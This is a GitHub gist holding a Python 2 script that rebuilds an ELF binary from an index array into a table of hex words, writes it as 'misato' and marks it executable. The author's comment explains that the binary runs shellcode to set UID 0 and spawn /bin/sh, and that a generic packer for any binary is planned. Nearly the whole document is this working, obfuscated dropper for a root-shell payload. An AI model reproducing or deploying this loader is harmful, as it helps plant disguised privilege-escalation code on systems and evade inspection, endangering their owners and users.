Skip to content

Instantly share code, notes, and snippets.

@netspooky
Created August 29, 2017 01:35
Show Gist options
  • Save netspooky/7834bfdda6b15654cfa258e1ec577ecf to your computer and use it in GitHub Desktop.
Save netspooky/7834bfdda6b15654cfa258e1ec577ecf to your computer and use it in GitHub Desktop.
Binary Loader
import binascii
import subprocess
t = [ "0000","005f","0100","015f","0200",
"0201","0300","0400","0500","056a",
"0600","0800","0853","0900","0d00",
"1000","1100","1400","1800","1900",
"1b00","2000","2100","2900","2e73",
"2e74","2f62","2f73","31c0","3800",
"3801","3b0f","3e00","4000","4831",
"4889","4c46","5057","5101","580f",
"5f62","5f65","5f73","6000","6100",
"6174","6200","6564","6578","6848",
"6873","696e","6a3c","6e64","7274",
"7373","7400","7461","7472","7800",
"7801","796d","7f45","9000",
"a100","a800","bbff","c1eb",
"d248","e6b0","e748" ]
b = [ 62,36,5,2,0,0,0,0,
4,32,2,0,59,33,0,0,
33,0,0,0,60,0,0,0,0,
0,33,29,2,33,8,4,2,
0,8,0,0,0,0,0,0,33,0,
0,0,33,0,0,64,0,0,
0,64,0,0,0,0,21,0,0,
34,68,66,26,51,27,49,
67,12,35,70,28,37,35,
69,31,9,3,52,39,8,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,6,2,59,33,0,0,0,0,0,
0,10,0,15,2,59,33,0,0,0,0,
0,0,2,0,15,2,64,43,0,0,0,0,
0,0,14,0,15,2,64,43,0,0,0,0,
0,0,17,0,15,2,65,43,0,0,0,0,
0,0,1,40,55,42,57,54,1,47,45,
44,41,53,0,24,61,57,46,24,58,
57,46,24,50,58,57,46,25,48,
56,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,20,0,2,
0,10,0,0,0,59,33,0,0,59,0,
0,0,23,0,0,0,0,0,0,0,2,0,0,0,0,0,
0,0,16,0,6,0,0,0,0,0,0,0,0,0,38,
0,0,0,22,0,0,0,0,0,0,0,2,0,0,0,0,
0,0,0,2,0,4,0,0,0, 0,0,0,0,0,0,
65,0,0,0,63,0,0,0, 7,0,4,0,11,0,
0,0,18,0,0,0,13, 0,6,0,0,0,
0,0,0,0,0,0, 30,0,0,0,19,
0,0,0,0,0, 0,0,2,
0,0,0, 0,
0,0,
0]
m = "misato"
with open(m, 'wb') as f:
for i in b:
ds = t[i]
ww = binascii.a2b_hex(''.join(ds))
f.write(ww)
subprocess.Popen(['/bin/chmod','+x','misato'])
print "[^0^]"
@netspooky
Copy link
Author

This is a loader script that reconstructs an ELF binary from an array of hex words using the index values of that array.
The binary it creates is called "misato" and uses a small shellcode exploit to set UID to 0 and spawn /bin/sh.

I'll be putting up a script to create these two arrays from any binary shortly.

There will be further optimizations to compression and packing of binaries to make them as small as possible.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment